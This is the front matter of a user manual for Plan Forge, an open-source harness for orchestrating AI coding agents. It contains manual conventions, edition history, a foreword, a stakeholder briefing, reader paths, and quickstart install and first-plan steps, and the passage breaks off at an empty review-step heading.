Conventions Used in This Manual

Read this once, then read anything. Five minutes to learn the visual vocabulary the rest of the manual leans on.

How the manual is organized

The manual ships as a Quickstart + 5 Parts + 26 Appendices. The chapter numbering scheme tells you which kind of page you're on at a glance.

Versioning & freshness

This manual describes current behavior. We deliberately avoid NEW vX.Y badges and “introduced in vX.Y” stamps inside reference chapters — they age into anti-signals within a release or two and force every reader to know the version history of every feature.

For version-stamped history, see:

• CHANGELOG.md — the canonical, machine-parseable list of what shipped when.
• Project History — the narrative version of the same thing: which inflection point solved which problem.
• Foreword — the one-year arc from “impossible” to “seven minutes”.
• The Editions list further down this page — manual-level revisions, when the book itself was reshaped.

Maturity signals (BETA, deprecation warnings, security advisories) are kept inline because they describe a feature's current trust level, not its history.

Hero images and supporting figures

Each numbered chapter opens with a hero image and may carry inline figures (SVG diagrams or photographs) inside the body. The conventions are deliberately uneven by chapter type:

Callouts

Three flavors of inline aside, each colored for instant recognition. They never carry information that isn't also in the surrounding prose, safe to skip on a first pass, useful on a second.

Code blocks

Code, terminal, and config samples come in a labelled block. The header tells you what the snippet is, a terminal command, a config file path, a JSON payload, and there's a Copy button on the right when the snippet is meant to be run as-is.

node docs/manual/maintain.mjs --audit

{
  "presets": ["dotnet"],
  "execution": { "quorum": "auto" }
}

Inside body prose, monospace means a literal name, a file path, an env var, a tool ID, an argv flag. Italics mean a placeholder you fill in.

Diagrams and figures

Inline SVGs and rasters live under docs/manual/assets/diagrams/. Each one carries an alt attribute that describes the diagram in prose, readers using a screen reader (or readers who'd rather skim) get the full meaning without seeing the picture.

Diagrams come in three sizes (diagram-img-sm, 700 px, -md, 750 px, -lg, 800 px), all centered in the body column. Every diagram is wrapped in a <figure> with a one-line italic caption underneath, derived automatically from the alt text title clause. To override an auto-caption with hand-authored prose, edit the <figcaption> directly and remove the <!--cap:auto--> marker, subsequent maintain.mjs runs will leave it alone.

Live numbers

Some sentences refer to a count that changes between releases, "Plan Forge ships 102 MCP tools", "18 instruction files", "12 agents". Those numbers are tokenized in the page source and rewritten at build time from a single source of truth in docs/manual/assets/manual.js. You'll see the up-to-date number rendered, but if you View Source you'll see the token markers wrapping it.

Navigating the manual

Reader paths

The cover offers four "where to next?" tiles, new to Plan Forge, on the GitHub stack, extending it, on a different stack. Pick the path that matches what you're doing today and the manual stays roughly half its apparent size.

Edition & errata

Every page footer (and the meta-bar at the top of the cover) shows the manual edition, pinned to the Plan Forge version it was published with. The full release history lives in CHANGELOG.md on GitHub.

Edition history

• Fifth Edition (in progress) (v3.6.2+), Ebook-completion phase. Cluster A: Front Matter shipped so far: the new Foreword — From Impossible to Seven Minutes framing the one-year journey from "impossible" to a 99/100 application in seven minutes; the Stakeholder Briefing as the 10–15 minute white-paper version with a tailoring flow for prospect-specific remixing; the Reader-Journey Ladders with five persona ladders (solo developer, team lead, reviewer or architect, enterprise architect, extension author); and Appendix R — A Day in the Forge collecting three worked case studies absorbed from contemporary blog posts (the closed loop, the .NET 99-vs-44 A/B test, the three-model quorum run). Further story, reference, and domain-chapter slices land through this edition as the phase ships.
• Fourth Edition (v3.6), OpenBrain promoted to the documented L3 memory layer; new pforge brain {status, hint, test, replay} subcommands; Team Dashboard tab added to the Forge group (now 19 tabs). Project History extended through v3.6 with v2.95 Lattice, v3.0 Copilot trilogy, v3.2–3.4 Team Mode. Refreshed counts (102 MCP tools, 97 CLI commands).
• Third Edition (v3.5.1), Added Part V “Integrate”: Copilot Integration Trilogy, Team Coordination, The Knowledge Graph, Integrating from Outside. Refreshed counts (88 MCP tools, 5 parts, 28 chapters).
• Second Edition (v2.95.0), Added “How the Shop Remembers” (memory architecture: Hallmark, Anvil, Lattice, sync_memories), now Chapter 22 after the Part IV memory-first reorder.
• First Edition (v2.78.0), Initial public release: 24 chapters across Parts I–IV plus 14 appendices.

Spotted something that's wrong, stale, or missing? File an issue on github.com/srnichols/plan-forge with the chapter title and section heading. Manual fixes are tagged docs: in the changelog.

From Impossible to Seven Minutes

A year. From "getting enterprise-grade code out of an AI agent is nearly impossible" to a four-station forge shop that produces a 99/100 application in seven minutes. Same model. Same machine. No manual intervention. This Foreword frames what changed, what did not, and what the rest of the book teaches.

The one-paragraph version

Plan Forge began in spring 2025 as a single 2,000-line copilot-instructions.md file written out of frustration with AI agents that could generate code faster than any human team but produced output without interfaces, without DTOs, without tests beyond the happy path, and without any concept of architectural discipline. Over the year that followed, the single file fractured into eighteen focused instruction files, then a six-step pipeline, then a four-session execution model, then a multi-model quorum, then an MCP server with a CLI and a dashboard, then a four-station shop, Smelt, Forge, Guard, Learn, with persistent memory, post-deploy defense, and a self-tempering audit loop. The model never got the credit. The variable was always context.

"The quality of AI-generated code is not a function of model capability, it's a function of the context you provide."

— From Impossible to 7 Minutes, May 2026

What changed (and what did not)

Run the same model against the same requirements on the same machine, twice. Once without guardrails. Once inside Plan Forge. The numbers come from a controlled A/B test documented in detail in Chapter 1:

The model was the same in both runs. So was the prompt, the hardware, the afternoon. What changed was the shop around the model. Scope contracts told it what to touch. Validation gates told it when a slice was done. The Plan Hardener turned a paragraph of feature description into an execution contract with explicit forbidden actions. The four-session architecture made sure the agent that built the code never reviewed its own work. The numbers are not a model story, they are an SDLC story.

The four-station shop

What started as one file is now a workshop. Every phase of the software lifecycle has a station; every station is AI-run and product-owner-supervised; every station passes its work to the next through a contract the next station can verify.

The same lesson runs through all four. The model is not the bottleneck; context is. The shop is just more places to put context.

What this book is

This book is the practical companion to that shop. It is three things at once, deliberately:

• A reference. Twenty-nine chapters across five Parts, plus appendices that document every CLI flag, every MCP tool, every event, every error code, every plan pattern. When the answer is "look it up," the book is structured so the answer is one search-bar query away.
• A story. The journey from a 2,000-line guardrail file to a four-station shop did not follow a roadmap. Each station emerged because a real problem demanded it. The Foreword, the vignettes, and the chapter narratives carry that story so the design choices read as consequences, not arbitrary opinions.
• An ebook. Read it front to back if that is the kind of reader you are. The Foreword leads to the Reader Paths, the Paths lead to the Quickstart, the Quickstart lands you on a working installation, and the rest of the book deepens what you just shipped.

What this book is not

It is not a marketing brochure. The numbers in this book come from the same source files the system is built from, tool counts from capabilities.mjs, CLI flags from pforge.ps1, event names from EVENTS.md, cost figures from the same cost-service.mjs the orchestrator uses. When a number drifts in the code, the book breaks the build until the number is fixed.

It is not a tutorial that ends at "hello world." Every Part lands a reader at a different operational depth: Quickstart ships your first plan in thirty minutes; Part II carries you through autonomous orchestration; Part III through post-deploy defense; Part IV through institutional memory; Part V through team-scale coordination.

It is not a product spec. The shop changes. The principles do not. When the book describes why the four-session architecture exists, that section will still be true two model generations from now, even if the model names in the example commands change.

It is also not a process you rent from us, Plan Forge is MIT-licensed because no two shops' SDLC is the same, and your institutional memory lives in OpenBrain, a service you run, not in any vendor's cloud. The two most strategic assets a software organization accumulates, its process for shipping software, and the memory of why every past decision went the way it did, stay in your hands. The harness is yours to fork and tweak; the brain is yours to host. The book documents both because the architecture only makes sense once both are explicit.

How to read this book

The book is designed so a reader who has never installed Plan Forge can land on a working pipeline in thirty minutes, and a reader who has been running it for six months can find the one paragraph that explains a behavior they just saw in production. Both readers start in different places.

A dedicated Reader-Journey Ladders page sits next to this Foreword in Front Matter and unfolds those paths into per-persona deep-dive sequences, solo developer, team lead, reviewer or architect, enterprise architect, extension author, each ending at a concrete ship-it moment. When the reader knows which persona they are, the Ladders are the next stop.

For the reader who needs to walk a colleague, a manager, or a VP through the adoption decision in a single sitting, the Stakeholder Briefing, also in Front Matter, is the 10–15 minute white-paper version: eight sections, bold lead sentences, all the canonical numbers, the same source-of-truth as the rest of the book, and a closing tailoring flow with a template and a slash-command skill for remixing the briefing for the reader's own organization.

For the reader who prefers to start from worked examples rather than from architecture, Appendix R — A Day in the Forge collects three short case studies absorbed from contemporary blog posts: the closed-loop audit of a production Next.js site, the .NET 99-vs-44 A/B test against vibe coding, and the three-model quorum run that paid $0.22 for measurably better software. Each vignette ends with a cross-link into the canonical chapter that owns the topic.

For the reader who needs to answer the question a manager or VP will eventually ask — “how much will this cost us?” — Chapter 31 — Cost & Economics is the single-chapter answer: the four levers that determine total cost, the compounding flywheel that bends the cost curve downward over a project's lifetime, and the quorum-mode trade-offs a team lead needs to set a realistic budget.

A note on voice

The body of this manual is written in third person, present tense, the voice of a reference. That is deliberate: a reference outlives the version that produced it, and the third-person voice carries forward without re-editing when the maintainer changes, the contributor base grows, or the project's center of gravity moves outside any one author. Direct first-person material from the project's blog posts appears in blockquote form, attributed, so the reader can see where the editorial voice ends and the contemporary record begins.

This Foreword and the Reader Paths page break that rule once, narrowly, by leaning on the journey itself. Every other chapter speaks in the reference voice.

A closing line, borrowed

"The forge is lit. The metal is hot. Build something that lasts."

— From Impossible to 7 Minutes, May 2026

The rest of the book is the map for doing exactly that.

The 10-Minute Stakeholder Briefing

A skimmable, self-contained, eight-section white paper sized for the longest read a busy manager or VP gives you in one sitting. Designed to be shared as one link, read end-to-end without leaving the page, and remixed into a per-organization briefing using the three-path ladder in Section 8.

1. Executive Summary

AI coding tools get a feature from prompt to running code in minutes: and then leave the rest of the SDLC to humans. Plan Forge is the orchestration harness that closes that gap. It sits on top of GitHub Copilot (and any other AI coding tool that speaks the Model Context Protocol) and adds the four layers production software actually needs: planning, validation gates, memory, and reviewer separation. The receipt on the project's own seven-slice memory-QA plan is $0.07 on a single mid-tier model in roughly 51 minutes, zero failed slices, zero escalation. The system QA'd itself with the very upgrades it was QA'ing, for the price of a coffee.

• The problem. Vibe coding clears the 80% demo bar fast and stalls at the 20% that ships, tests, interfaces, DTOs, typed exceptions, cancellation, audit. The .NET A/B test measured the gap at 99 vs 44 on structural quality, same model, same time budget.
• The fix. Four named loops, Smelt (intake), Forge (execute), Guard (post-deploy defence), Learn (memory), each with its own concrete artifacts, gates, and hand-offs. The pipeline reads like a workshop, not a black box.
• The receipt. The Phase-MEMORY-QA plan (7 slices, full E2E, mock OpenBrain, lattice callers, hallmark show/verify, backward-compat checks) ran for $0.07 total in ~51 minutes, 100% on Sonnet-4.6, no escalation, zero failed slices. See the payoff section of the Memory chapter for the full breakdown.

Read more → Foreword — From Impossible to Seven Minutes (10 min, the year-long story behind the receipt).

2. What Plan Forge is — and is not

Plan Forge is the orchestration harness that sits on top of GitHub Copilot (and other AI coding tools). It does not replace your model or your IDE, it adds the SDLC layer GitHub deliberately leaves to the ecosystem: planning, validation gates, memory, cost control, and reviewer separation. It is also licensed MIT because your SDLC is yours, and your institutional memory lives in OpenBrain, a user-owned service, because your accumulated decisions should not be trapped inside any one AI vendor.

The two-axis claim, harness on substrate and your-SDLC-is-yours, matters in equal measure. The first one explains why Plan Forge does not compete with GitHub Copilot, Claude Code, Cursor, Codex, Gemini CLI, or Windsurf; it routes work through them. The second explains why nothing in the harness is rented, gated, or trapped behind a control plane the user does not own. The condensed positioning table:

Read more → Chapter 1 — What Is Plan Forge? (full IS / IS NOT table plus the four-station overview).

3. The four cost levers

Plan Forge is cheap to run because four mechanical levers compound, not because the model rate is low. Each lever is independently measurable and independently dial-able. A team that turns all four on can run a hardened plan end-to-end for cents; a team that turns them off pays whatever the model bills. The levers, in order of typical impact:

Read more → Advanced Execution — Cost Optimization (the canonical lever table, the full math, the quorum-mode A/B run) and Dashboard — Cost Tab (the cost-ledger walk-through).

4. The compounding flywheel

A vibe-coding pipeline runs the same plan tomorrow at the same cost it ran today. A Plan-Forge pipeline runs tomorrow's plan a bit colder, the gates that were tight yesterday are still tight, the patterns that worked are recalled, the patterns that failed are flagged in the lattice before the model touches the file. After ninety days, the same plan that cost a dollar on day one costs a fraction of that on day ninety, with fewer escalations, fewer failed slices, and fewer reviewer-found defects. That curve is what compounds.

Three concrete mechanisms make the curve real, not aspirational:

• OpenBrain recall. Every plan's outcomes, passing gates, failing gates, fix proposals, post-mortem notes, are written to a user-owned memory service. The next plan starts with that recall pre-pulled into its context. See the Memory chapter for the full architecture.
• Lattice callers. The repo is indexed semantically and structurally. Before the model edits a function, the orchestrator pulls the call sites the model would otherwise have to discover by guessing. Token spend on speculative reads drops materially.
• Pattern registry. Recurring fixes, "always inject the cancellation token", "the typed-exception base class lives here", are promoted from one-off comments into named patterns that the harden-plan step references by name. The same fix is not re-derived every plan.

Read more → Memory System chapter (architecture, the Phase-MEMORY-QA receipt, and the four pieces, Hallmark, Anvil, Lattice, sync_memories, that make the recall layer concrete).

5. What we add that you might not have asked for

The brief above covers the things teams come to Plan Forge for. A handful of capabilities ship in the same box without being part of the headline pitch, they exist because they kept being the missing piece in production AI-SDLC adoptions and adding them once was cheaper than re-explaining their absence to every new team. None of them is hidden, gated, or paywalled; they ship in the same MIT-licensed harness as everything else.

• A virtual engineering team, not a code generator. Every traditional role on a 20-person engineering team has an equivalent in the shop: you are the Product Owner; 20 specialised reviewer agents cover architecture, security, performance, DB, deploy, API, accessibility, multi-tenancy, CI/CD, observability, dependency, and compliance; Forge-Master Observer + Auditor plays engineering manager; the Tempering harness + testbed + regression guard play QA; LiveGuard plays SRE; the audit loop + bug registry play continuous-improvement / retros; the independent Session-3 fresh-session reviewer plays architecture-review board; OpenBrain plays the institutional-knowledge wiki. The whole discipline of software engineering, governed by 40 years of practice encoded into 17+ auto-loading instruction files, lands as agents and guardrails, not as a hammer. Read more: Chapter 1 — The Virtual Engineering Team.
• Three closed loops, not one. Agents supervising agents. The Forge builds. Forge-Master supervises, live and post-run, against the same plan the Forge executed. The Learn station feeds every finding (bugs, gate failures, drift, postmortems) back into the next plan. The audit loop ran for two weeks unattended on a real production Next.js site and surfaced 30+ defects the maintainer did not know existed. For a CTO who has been burned by AI demos that grade their own homework, this is the part to verify: autonomous execution, autonomous supervision, autonomous learning — three loops, not one.
• The human's role is exactly three things. (1) Make a few technology choices once: pick a preset, declare Project Principles, set forbidden patterns. (2) Own spec and direction as Product Owner: Crucible interviews you; you decide what to build and why; the shop will not deviate from the Scope Contract you signed. (3) Run manual acceptance testing: a green pipeline (all tests pass, no drift, no secrets, no regressions, Forge-Master independently audited) proves the code is correct against the spec; only you can decide whether it is what you actually wanted. That is Product Owner UAT, same as it has been for 40 years. Agents do not read minds; only the Product Owner makes the final call on what is done correctly.
• An open-source memory layer (OpenBrain). A user-owned memory service. Your decisions stay in your tenancy, on your hardware, behind your audit boundary, not in a vendor's control plane.
• Reviewer separation. The model that writes the code and the model that reviews the code are different sessions, different model selections (often different model families), and run against the same hardened plan but with different prompts. The reviewer cannot be flattered into approval by the author's framing.
• Validation gates baked into the plan, not the CI script. The plan owns its gates. The CI script verifies that the gates ran and passed; it does not get to redefine them. Plans cannot drift away from the verification they ship with.
• Plan provenance. Every plan carries a Scope Contract, a Forbidden Actions list, and an immutable record of which slices ran on which model, at what cost, with what outcome. Six months later, the reason any line of code landed is still answerable.
• Fleet operations. Multiple plans, multiple repos, multiple agents, the same dashboard, the same cost ledger, the same memory recall surface. Single-repo and multi-repo orgs do not pay different conceptual taxes.
• Audit trail. GitHub Issues, PRs, Actions runs, and the plan's commit history are the audit trail. Nothing is logged to a separate system the auditor has to chase.

Read more → Chapter 1 — The Virtual Engineering Team (role map + your three jobs), Forge-Master chapter (agents supervising agents), and Appendix J — Plan Forge for Enterprise (multi-tenancy, data residency, compliance posture).

6. Adoption path — two routes

There are two ways to adopt Plan Forge, and they are both first-class. Neither one is a downgrade of the other; the right route depends on whether your organization needs the harness to look like your shop or the community's shop. Both routes terminate at the same place: a hardened, gated, memory-backed pipeline running against your repo with audit trail on every artifact.

• Route A: adopt as-is. Clone the repo, run setup.ps1 (or setup.sh) against the preset that matches your stack, and start running pforge run-plan against your plans within the hour. Stay on the community upgrade cadence; PRs flow upstream when something is generally useful, locally when something is yours alone. Best for teams that want to skip the build phase and adopt a working pipeline today.
• Route B: fork and brand. Fork the repo into your org. Rebrand the presets, the agent set, the skill list, and the plan templates to match how your organization already talks about software. Rebase from upstream on a cadence that suits your release rhythm. Best for organisations whose SDLC vocabulary, agent naming, or compliance constraints make the as-is shop a poor fit out of the box.

Read more → Installation chapter (route A, step-by-step) and Customization chapter (route B, the customization spine).

7. Why open source matters here

An SDLC harness is the wrong layer to rent. Renting the model is fine, the model is interchangeable, replaceable, and improves on a vendor's roadmap that is not your problem to manage. Renting the orchestration on top of the model is a category mistake. The orchestration is where your decisions live, where your audit trail accumulates, where your compliance posture is encoded, and where your institutional memory is stored. The closer that layer sits to your business, the worse the lock-in if you do not own it.

Four things change when the harness is open source and the memory layer is user-owned:

• IP stays yours. The plans, the patterns, the memory entries, the agent definitions, the skill library, all of it is in your repo or your tenancy. No vendor takedown can strand any of it.
• Audit is in-place. The artifacts an auditor wants, the plan, the gates, the run log, the cost ledger, the reviewer's verdict, are GitHub objects under your existing access controls. There is no second system to grant the auditor a seat in.
• Customisation is unbounded. Anything in the harness can be forked, replaced, or augmented. The presets, the agents, the skills, the hooks, the notifier extensions, the orchestrator itself. The customization story is the customization story for the whole stack.
• No vendor lock-in on the orchestration layer. The model you use can change tomorrow; the harness does not. The cost lever can change tomorrow; the lever owner is you. The memory schema can change tomorrow; the migration tool ships in the harness.

Read more → Memory System chapter (the user-owned memory layer) and Customization chapter (the customization spine).

8. Make this yours — the tailoring flow

The eight sections above are the ~50% of any per-organization briefing that is canonical. The other ~50% (the parts that name your squads, your KPIs, your pilot timeline, your ask) cannot and should not be pre-written. They are the parts the internal champion has to author or commission. The tailoring flow is the path from this generic briefing to that per-organization briefing, without anyone needing to open an issue and wait for a maintainer to respond. Three paths, in increasing order of Plan Forge involvement:

The closing thought is deliberately recursive: the briefing about Plan Forge ends by inviting the reader to use Plan Forge to remix the briefing. That is the demo. A tool whose closing CTA is "open an issue and wait" is selling something other than what its first seven sections claimed. A tool whose closing CTA is "here is the template, here is the skill, here is the community, pick the one that matches your effort budget" has the same shape inside and outside.

A closing line, borrowed

A blacksmith doesn't hand raw iron to a customer. They smelt it, hammer it, temper it, and then they watch, because a blade that isn't maintained will dull.

The briefing above is the case made in ten minutes. The book is the case made in detail, station by station, decision by decision, with the receipts. The Foreword opens the door; the Reader-Journey Ladders pick the path; the chapters do the work. Start anywhere, the harness is yours either way.

Pick Your Path

The Foreword offered a five-row teaser table for the impatient. This page is the longer version. Five persona ladders, each an ordered sequence of chapters and appendices, each with a ship-it moment so you know when you have actually arrived somewhere instead of just reading.

The five ladders at a glance

Pick the ladder that matches the work in front of you. Two ladders may apply, that is fine, climb the one whose ship-it moment is closer to today's problem. The book is designed so any ladder lands you on a useful artifact within a sitting or two of reading.

None of these fits? Read the Foreword, then the first chapter, then follow your curiosity. The sidebar is your friend; the Index and site search handle the rest.

Ladder 1 — Solo developer

You are here if you are the only one shipping code on your project. You want Plan Forge's structural quality benefits (interfaces, DTOs, typed exceptions, tests, see the 99-vs-44 evidence in Chapter 1) without the team-coordination machinery. The Quickstart trilogy gets you from zero to a shipped feature in thirty minutes; the rest of the ladder turns that one-shot into a habit.

1. Q1 — Install. Clone, run setup, pick a preset that matches your stack. Verify with pforge smith.
2. Q2 — Your First Plan. Walk through Specify → Pre-flight → Harden → Execute on a real (small) feature.
3. Q3 — Review & Ship. Sweep, independent review, ship. End-to-end in one sitting.
4. Chapter 4 — Writing Plans That Work. The single biggest force-multiplier for solo developers: plans that the orchestrator can actually execute without re-prompting. Internalise the scope-contract pattern here.
5. Chapter 8 — CLI Reference. Bookmark this. The pforge CLI is the surface you will live in.
6. Appendix B — Quick Reference Card. Single-page cheatsheet for the commands and gates you reach for daily.

Skip for now (come back later if you grow): team coordination, multi-agent setup, enterprise reference architecture. They will be waiting when you need them.

Ladder 2 — Team lead

You are here if you run a small engineering team and you are deciding whether to bring Plan Forge in. Two problems sit on top of you: convincing the team (and whoever signs off), and operating the pipeline once it is running. The ladder covers both, in that order.

1. Chapter 1 — What Is Plan Forge?. The mental model and the is / is not table. If you only read one chapter before a stakeholder conversation, read this.
2. Stakeholder Briefing. The 10–15 minute white paper inside the book, designed for upward conversation with a manager or a VP. Eight sections, bold lead sentences, all the canonical numbers, plus a three-path tailoring flow (template, skill, community) for remixing the briefing for your own organization.
3. Q1 → Q2 → Q3. Do the Quickstart yourself first, then have the team do it. Thirty minutes per developer.
4. Chapter 6 — Your First Plan. Deeper than Q2; covers plan structure, scope contracts, and slice design at a level a team lead needs to coach others through.
5. Chapter 7 — The Dashboard + Dashboard Settings. The shared surface for cost, live runs, and session attribution.
6. Chapter 13 — Multi-Agent Setup. When more than one developer is running plans in parallel, this is the configuration that keeps them out of each other's way.
7. Chapter 27 — Team Coordination. Shared plan queues, reviewer rotation, the hand-off protocols.
8. Appendix M — Fleet Operator Playbook. The day-two and day-thirty operational guides, what to check, when, and what to do when something is wrong.

Ladder 3 — Reviewer or architect

You are here if you have been asked to evaluate Plan Forge. The decision is whether your organization should adopt it, and if so, how. Three things matter to you: where it sits relative to what you already run (GitHub, Copilot, your CI), what it costs and what it locks you into, and whether the architecture survives the questions a senior engineer will ask after twenty minutes of reading.

1. Appendix H — GitHub Stack Alignment. Eight-primitive map showing exactly which GitHub-native surfaces Plan Forge consumes and which it complements.
2. Appendix I — Plan Forge on the GitHub Stack. The surface-by-surface layering: what runs in Actions, what runs in MCP, what writes to Issues and PRs.
3. Chapter 1 — What Is Plan Forge?. Especially the IS / IS NOT table and The Virtual Engineering Team section (role map for every traditional engineering function, plus the three jobs that stay with the human). This is the chapter that answers the “why not just Copilot?” and “who decides when it’s done?” questions without hand-waving.
4. Chapter 2 — How It Works. The seven-step pipeline. Read this to verify the architecture is what it claims to be.
5. Chapter — Forge-Master + the audit loop. Agents supervising agents: live Observer commentary during runs, Auditor post-run grading against the plan, and the unattended audit loop that ran for two weeks on a real production Next.js site and surfaced 30+ defects. For the skeptical reviewer who has been burned by AI demos that grade their own homework, this is the part to verify.
6. Chapter 22 — How the Shop Remembers. OpenBrain, the user-owned memory layer. This is the lock-in answer: your institutional memory lives in a service you run, not in any AI vendor's cloud.
7. Appendix K — Enterprise Reference Architecture. The deployment topology that will be relevant when you write up your recommendation.
8. Appendix N — Compliance & Data Residency. The shortest paragraph in your write-up that says “here is where the data lives.”

Ladder 4 — Enterprise architect

You are here if you are taking Plan Forge into an environment with compliance requirements, multi-team isolation, audit trails, and a procurement process. The reviewer ladder above answered “should we adopt?” This ladder answers “how do we deploy it safely across the organization?”

1. Appendix J — Plan Forge for Enterprise. The deployment shape. Roles, tenancy boundaries, the configuration surface.
2. Appendix K — Enterprise Reference Architecture. The reference diagrams: network, identity, data planes, the seams between Plan Forge and the rest of your stack.
3. Appendix L — Agent Factory Recipe. How to manufacture agent configurations consistently across teams without each team reinventing the wheel.
4. Appendix M — Fleet Operator Playbook. Day-one, day-two, day-thirty operational procedures. The on-call runbooks for the platform team running Plan Forge centrally.
5. Appendix N — Compliance & Data Residency. Where every byte lives, who can see it, and the audit trail it leaves.
6. Chapter 22 — How the Shop Remembers. OpenBrain as the self-hosted memory service, the architecture, the threat model, the operational profile. Lock-in avoidance is itself a compliance posture: your accumulated decisions live on your infrastructure, not a vendor's.
7. Chapter 27 — Team Coordination. Multi-team operational patterns when several squads share one Plan Forge fleet.

Ladder 5 — Extension author

You are here if you want to extend Plan Forge, add a tool, a skill, an agent, a notifier, or a custom workflow. The ladder starts with the mental model, walks through the customisation spine, and lands on the MCP surface and the extension catalog.

1. Chapter 1 — What Is Plan Forge?. Internalise the four-station mental model first, extensions land at one of the four stations, and knowing which one shapes the design.
2. Chapter 2 — How It Works. The pipeline shape. Extensions slot between steps; understanding the steps is prerequisite.
3. Chapter 12 — Extensions. The extension contract, the catalog, the publishing flow. Start here for the “hello world” extension.
4. MCP Server — Quick Start & Reference. The MCP surface where tool-shaped extensions live. The Quick Start gets you a working tool in one sitting; the Reference is the long-form contract.
5. Chapter 9 — Customization. The hooks, the override points, the configuration surface every extension can lean on.
6. Chapter 10 — Instruction Files & Agents. If your extension ships an agent persona or an instruction file, this is where the conventions live.
7. Chapter 28 — The Knowledge Graph. If your extension needs to persist relationships across runs, tag, link, query, this is the substrate to use rather than a sidecar database.

When two ladders apply

Some readers will fit two ladders, a team lead who is also evaluating adoption, an enterprise architect who wants to author an internal extension, a solo developer who later inherits a team. The ladders are not exclusive. The recommended hops:

A note on voice

This page, like the Foreword, addresses the reader in second person (“you are here if…”) rather than the third-person reference voice used in the rest of the manual. That is the narrow exception called out in the Foreword's note on voice: the Foreword and the Reader Paths page lean on the reader's journey because their job is the journey. Every other chapter speaks in the reference voice.

Climb

The book is the map; the ladder is the route. Start at rung one of your ladder. The ship-it moment marks the top, and from there you can either start a new ladder or follow your own curiosity through the rest of the manual.

Install

Zero to pforge smith green in 10 minutes.

This is the fast path. For full options (polyglot presets, multi-agent adapters, updating) see Chapter 3: Installation.

Clone https://github.com/srnichols/plan-forge into a temporary directory. Read its AGENT-SETUP.md file completely and follow the instructions exactly:

1. Scan THIS project's root directory and auto-detect the tech stack from marker files (*.csproj = dotnet, go.mod = go, package.json + tsconfig.json = typescript, pom.xml = java, pyproject.toml = python, *.bicep = azure-iac). If multiple stacks exist, combine them.

2. Detect which AI tool is running this prompt and set the -Agent flag:
   - GitHub Copilot → -Agent copilot (default, can omit)
   - Claude Code → -Agent claude
   - Cursor → -Agent cursor
   - Codex CLI → -Agent codex
   - Not sure → -Agent all (installs all agent formats)

3. Run the Plan Forge setup script non-interactively:
   .\setup.ps1 -Preset <detected> -Agent <detected-agent> -ProjectPath "." -ProjectName "<this folder name>" -Force

4. After setup completes, customize the generated files:
   - Edit .github/copilot-instructions.md with this project's actual name, tech stack, build/test/lint commands, and architecture
   - If CLAUDE.md was generated, verify it looks correct
   - Edit docs/plans/DEPLOYMENT-ROADMAP.md with a first phase placeholder

5. Run .\pforge.ps1 smith to inspect the forge and confirm all checks pass.

6. If pforge-mcp/server.mjs was installed, run: cd pforge-mcp && npm install (activates the forge MCP tools).

7. If specs/ or memory/constitution.md exist (Spec Kit project), note that Step 0 will auto-detect and offer to import them.

8. Call forge_capabilities to verify all tools are available and discover workflows, config options, and OpenBrain memory integration.

9. Show me a summary of what was installed and any issues found.

1. Check Prerequisites

What you need depends on how you'll drive Plan Forge. Three of the four prerequisites are universal; Node.js is only needed when you want the dashboard, MCP server, or REST API.

2. Clone & Run Setup

One command gets you from zero to a fully configured forge:

git clone https://github.com/srnichols/plan-forge.git my-forge
cd my-forge
.\setup.ps1 -Preset <your-stack>

git clone https://github.com/srnichols/plan-forge.git my-forge
cd my-forge
chmod +x setup.sh && ./setup.sh --preset <your-stack>

3. Pick Your Preset

Replace <your-stack> with one of these nine presets:

4. Verify with pforge smith

Run the Smith diagnostic to confirm everything is green:

.\pforge.ps1 smith

Environment:
  ✓ git 2.44.0
  ✓ code 1.99.0
  ✓ PowerShell 7.5.0
  ✓ node 22.3.0

Setup Health:
  ✓ .forge.json valid
  ✓ 21 instruction files
  ✓ 19 agent definitions

  Results:  10 passed  |  0 failed  |  0 warnings

Your First Plan

Specify, harden, and execute a feature in 15 minutes.

This is the essential path through Steps 0–3. For the full walkthrough (sweep, review, ship, and everything in between) see Chapter 6: Your First Plan.

What We're Building

A GET /health endpoint, deliberately simple so you can focus on the pipeline, not the code. You'll run three steps: specify → harden → execute. The endpoint takes about 15 minutes to build; the pipeline knowledge you gain applies to every feature after this.

Step 0: Specify the Feature

1. Open Copilot Chat: Ctrl+Shift+I (Windows) · Cmd+Shift+I (Mac)
2. Select Agent Mode at the bottom of the chat panel
3. Click 📎 attach file → select .github/prompts/step0-specify-feature.prompt.md
4. Replace <FEATURE-NAME> with health-endpoint and send

The specifier agent interviews you. Here are the answers for a health endpoint:

Problem:    Load balancers need to verify the service is running.
Scenarios:  GET /health every 30s → 200 OK {"status":"healthy"}.
Criteria:   Returns 200 with JSON. Under 50ms. No auth required.
Edge cases: DB unreachable → 503 {"status":"degraded","reason":"database"}.
Out of scope: No deep checks (Redis, APIs). No metrics endpoint.

The agent creates docs/plans/Phase-1-HEALTH-ENDPOINT-PLAN.md.

Step 1: Pre-flight Check

Still in the same session, attach .github/prompts/step1-preflight-check.prompt.md, replace <YOUR-PLAN> with Phase-1-HEALTH-ENDPOINT-PLAN, and send. The agent verifies git state, guardrail files, and the roadmap. For a fresh install, everything passes.

Step 2: Harden the Plan

Attach .github/prompts/step2-harden-plan.prompt.md, replace <YOUR-PLAN>, and send. The hardener adds the mandatory blocks to your plan file:

## Scope Contract        ← Files the AI may touch
## MUST Criteria         ← Non-negotiable requirements
## Execution Slices      ← 30–120 min checkpointed chunks
  ### Slice N
    Tasks:  …
    Gate:   dotnet build && dotnet test   ← Must pass before next slice
    Stop if: Gate fails

## Rollback Plan         ← How to undo safely

When the agent says "Plan hardened", Session 1 is complete.

Step 3: Execute

Three ways to run execution, choose one:

pforge run-plan docs/plans/Phase-1-HEALTH-ENDPOINT-PLAN.md

pforge run-plan --assisted docs/plans/Phase-1-HEALTH-ENDPOINT-PLAN.md

The executor builds the endpoint, runs build, runs test, and reports pass/fail at each gate. If a gate fails, execution stops, no silent failures.

What Just Happened

You've completed Sessions 1 and 2 of the 4-session pipeline:

Session 1 (Specify & Plan)  ✓  Described what you wanted; AI structured it
Session 2 (Execute)         ✓  AI built it slice-by-slice with validation gates
Session 3 (Review)          …  Next step →
Session 4 (Ship)            …  Final step →

Review & Ship

Sweep, review, and ship in 10 minutes.

This covers Steps 4–6: the completeness sweep, independent review, and shipping. For deeper explanations of each step see Chapter 6: Your First Plan.

Step 4: Sweep for Deferred Work

The completeness sweep scans every code file for markers that indicate unfinished work: TODO, FIXME, HACK, stub, placeholder, mock data. For a health endpoint this should return zero.

pforge sweep

If the sweep finds any markers, resolve them before continuing. Deferred-work markers are how technical debt silently accumulates, this is where you catch them before they ship.

Step 5: Independent Review

